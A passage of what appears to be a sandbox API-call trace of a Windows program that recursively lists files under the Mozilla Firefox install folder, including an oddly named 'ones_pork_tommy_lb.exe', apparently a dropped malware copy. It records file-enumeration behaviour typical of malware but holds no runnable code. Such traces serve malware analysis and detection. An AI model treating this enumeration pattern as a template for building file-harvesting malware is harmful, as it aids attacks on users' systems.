lpString2="..") returned 1 [0040.158] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.158] lstrlenW (lpString="nssckbi.dll") returned 11 [0040.158] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssckbi.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" [0040.158] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned 50 [0040.158] lstrcpyW (in: lpString1=0x5e4718, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" [0040.158] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.158] lstrcmpW (lpString1="nssdbm3.chk", lpString2=".") returned 1 [0040.158] lstrcmpW (lpString1="nssdbm3.chk", lpString2="..") returned 1 [0040.158] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.158] lstrlenW (lpString="nssdbm3.chk") returned 11 [0040.158] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssdbm3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" [0040.158] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned 50 [0040.158] lstrcpyW (in: lpString1=0x5e4788, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" [0040.158] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.158] lstrcmpW (lpString1="nssdbm3.dll", lpString2=".") returned 1 [0040.158] lstrcmpW (lpString1="nssdbm3.dll", lpString2="..") returned 1 [0040.158] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.158] lstrlenW (lpString="nssdbm3.dll") returned 11 [0040.158] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssdbm3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" [0040.159] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned 50 [0040.159] lstrcpyW (in: lpString1=0x5e47f8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" [0040.159] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.159] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0040.159] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0040.159] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.159] lstrlenW (lpString="omni.ja") returned 7 [0040.159] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" [0040.159] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned 46 [0040.159] lstrcpyW (in: lpString1=0x5e5618, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" [0040.159] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.159] lstrcmpW (lpString1="ones_pork_tommy_lb.exe", lpString2=".") returned 1 [0040.159] lstrcmpW (lpString1="ones_pork_tommy_lb.exe", lpString2="..") returned 1 [0040.159] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.159] lstrlenW (lpString="ones_pork_tommy_lb.exe") returned 22 [0040.159] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="ones_pork_tommy_lb.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0040.159] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned 61 [0040.159] lstrcpyW (in: lpString1=0x5e2248, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0040.159] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.159] lstrcmpW (lpString1="platform.ini", lpString2=".") returned 1 [0040.159] lstrcmpW (lpString1="platform.ini", lpString2="..") returned 1 [0040.159] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.159] lstrlenW (lpString="platform.ini") returned 12 [0040.159] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="platform.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" [0040.159] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned 51 [0040.159] lstrcpyW (in: lpString1=0x5e4868, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" [0040.159] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.159] lstrcmpW (lpString1="plugin-container.exe", lpString2=".") returned 1 [0040.159] lstrcmpW (lpString1="plugin-container.exe", lpString2="..") returned 1 [0040.159] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.159] lstrlenW (lpString="plugin-container.exe") returned 20 [0040.159] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="plugin-container.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" [0040.159] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned 59 [0040.159] lstrcpyW (in: lpString1=0x5e5680, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" [0040.159] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.159] lstrcmpW (lpString1="plugin-hang-ui.exe", lpString2=".") returned 1 [0040.159] lstrcmpW (lpString1="plugin-hang-ui.exe", lpString2="..") returned 1 [0040.159] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.159] lstrlenW (lpString="plugin-hang-ui.exe") returned 18 [0040.159] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="plugin-hang-ui.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" [0040.159] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned 57 [0040.159] lstrcpyW (in: lpString1=0x5e5700, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" [0040.159] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.159] lstrcmpW (lpString1="precomplete", lpString2=".") returned 1 [0040.160] lstrcmpW (lpString1="precomplete", lpString2="..") returned 1 [0040.160] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.160] lstrlenW (lpString="precomplete") returned 11 [0040.160] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="precomplete" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" [0040.160] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned 50 [0040.160] lstrcpyW (in: lpString1=0x5e48d8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" [0040.160] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.160] lstrcmpW (lpString1="removed-files", lpString2=".") returned 1 [0040.160] lstrcmpW (lpString1="removed-files", lpString2="..") returned 1 [0040.160] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.160] lstrlenW (lpString="removed-files") returned 13 [0040.160] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="removed-files" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" [0040.160] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned 52 [0040.160] lstrcpyW (in: lpString1=0x5e0a38, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" [0040.160] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.160] lstrcmpW (lpString1="softokn3.chk", lpString2=".") returned 1 [0040.160] lstrcmpW (lpString1="softokn3.chk", lpString2="..") returned 1 [0040.160] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.160] lstrlenW (lpString="softokn3.chk") returned 12 [0040.160] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="softokn3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" [0040.160] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned 51 [0040.160] lstrcpyW (in: lpString1=0x5e4948, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" [0040.160] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.160] lstrcmpW (lpString1="softokn3.dll", lpString2=".") returned 1 [0040.160] lstrcmpW (lpString1="softokn3.dll", lpString2="..") returned 1 [0040.160] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.160] lstrlenW (lpString="softokn3.dll") returned 12 [0040.160] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="softokn3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" [0040.160] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned 51 [0040.160] lstrcpyW (in: lpString1=0x5e49b8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" [0040.160] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.160] lstrcmpW (lpString1="uninstall", lpString2=".") returned 1 [0040.160] lstrcmpW (lpString1="uninstall", lpString2="..") returned 1 [0040.160] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.160] lstrlenW (lpString="uninstall") returned 9 [0040.160] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="uninstall" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall" [0040.160] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\" [0040.160] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0040.160] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*" [0040.160] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.160] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.160] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.160] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.160] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.160] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.160] lstrcmpW (lpString1="helper.exe", lpString2=".") returned 1 [0040.161] lstrcmpW (lpString1="helper.exe", lpString2="..") returned 1 [0040.161] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0040.161] lstrlenW (lpString="helper.exe") returned 10 [0040.161] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="helper.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" [0040.161] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned 59 [0040.161] lstrcpyW (in: lpString1=0x5e5780, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" [0040.161] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.161] lstrcmpW (lpString1="shortcuts_log.ini", lpString2=".") returned 1 [0040.161] lstrcmpW (lpString1="shortcuts_log.ini", lpString2="..") returned 1 [0040.161] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0040.161] lstrlenW (lpString="shortcuts_log.ini") returned 17 [0040.161] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="shortcuts_log.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" [0040.161] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned 66 [0040.161] lstrcpyW (in: lpString1=0x5e5800, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" [0040.161] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.161] lstrcmpW (lpString1="uninstall.log", lpString2=".") returned 1 [0040.161] lstrcmpW (lpString1="uninstall.log", lpString2="..") returned 1 [0040.161] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0040.161] lstrlenW (lpString="uninstall.log") returned 13 [0040.161] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="uninstall.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" [0040.161] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned 62 [0040.161] lstrcpyW (in: lpString1=0x5e22d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" [0040.161] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.161] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.161] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.161] lstrcmpW (lpString1="update-settings.ini", lpString2=".") returned 1 [0040.161] lstrcmpW (lpString1="update-settings.ini", lpString2="..") returned 1 [0040.161] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.161] lstrlenW (lpString="update-settings.ini") returned 19 [0040.161] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="update-settings.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" [0040.161] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned 58 [0040.161] lstrcpyW (in: lpString1=0x5e5890, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" [0040.161] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.161] lstrcmpW (lpString1="updater.exe", lpString2=".") returned 1 [0040.161] lstrcmpW (lpString1="updater.exe", lpString2="..") returned 1 [0040.161] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.161] lstrlenW (lpString="updater.exe") returned 11 [0040.161] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="updater.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" [0040.161] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned 50 [0040.161] lstrcpyW (in: lpString1=0x5e4a28, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" [0040.161] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.161] lstrcmpW (lpString1="updater.ini", lpString2=".") returned 1 [0040.161] lstrcmpW (lpString1="updater.ini", lpString2="..") returned 1 [0040.161] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.161] lstrlenW (lpString="updater.ini") returned 11 [0040.161] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" [0040.161] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned 50 [0040.162] lstrcpyW (in: lpString1=0x5e4a98, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" [0040.162] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.162] lstrcmpW (lpString1="webapp-uninstaller.exe", lpString2=".") returned 1 [0040.162] lstrcmpW (lpString1="webapp-uninstaller.exe", lpString2="..") returned 1 [0040.162] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.162] lstrlenW (lpString="webapp-uninstaller.exe") returned 22 [0040.162] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapp-uninstaller.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" [0040.162] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned 61 [0040.162] lstrcpyW (in: lpString1=0x5e2358, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" [0040.162] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.162] lstrcmpW (lpString1="webapprt", lpString2=".") returned 1 [0040.162] lstrcmpW (lpString1="webapprt", lpString2="..") returned 1 [0040.162] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.162] lstrlenW (lpString="webapprt") returned 8 [0040.162] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapprt" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt" [0040.162] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\" [0040.162] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0040.162] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*" [0040.162] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.162] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.162] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.162] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.162] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.162] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.162] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0040.162] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0040.162] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0040.162] lstrlenW (lpString="omni.ja") returned 7 [0040.162] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" [0040.162] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned 55 [0040.162] lstrcpyW (in: lpString1=0x5e0ab0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" [0040.162] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.162] lstrcmpW (lpString1="webapprt.ini", lpString2=".") returned 1 [0040.162] lstrcmpW (lpString1="webapprt.ini", lpString2="..") returned 1 [0040.162] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0040.162] lstrlenW (lpString="webapprt.ini") returned 12 [0040.162] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="webapprt.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" [0040.162] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned 60 [0040.162] lstrcpyW (in: lpString1=0x5e23e0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" [0040.162] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.162] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.162] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.162] lstrcmpW (lpString1="webapprt-stub.exe", lpString2=".") returned 1 [0040.162] lstrcmpW (lpString1="webapprt-stub.exe", lpString2="..") returned 1 [0040.162] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.162] lstrlenW (lpString="webapprt-stub.exe") returned 17 [0040.163] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapprt-stub.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" [0040.163] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned 56 [0040.163] lstrcpyW (in: lpString1=0x5e5910, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" [0040.163] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.163] lstrcmpW (lpString1="xul.dll", lpString2=".") returned 1 [0040.163] lstrcmpW (lpString1="xul.dll", lpString2="..") returned 1 [0040.163] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.163] lstrlenW (lpString="xul.dll") returned 7 [0040.163] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="xul.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" [0040.163] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned 46 [0040.163] lstrcpyW (in: lpString1=0x5e5990, lpString2="c:\\Program Files 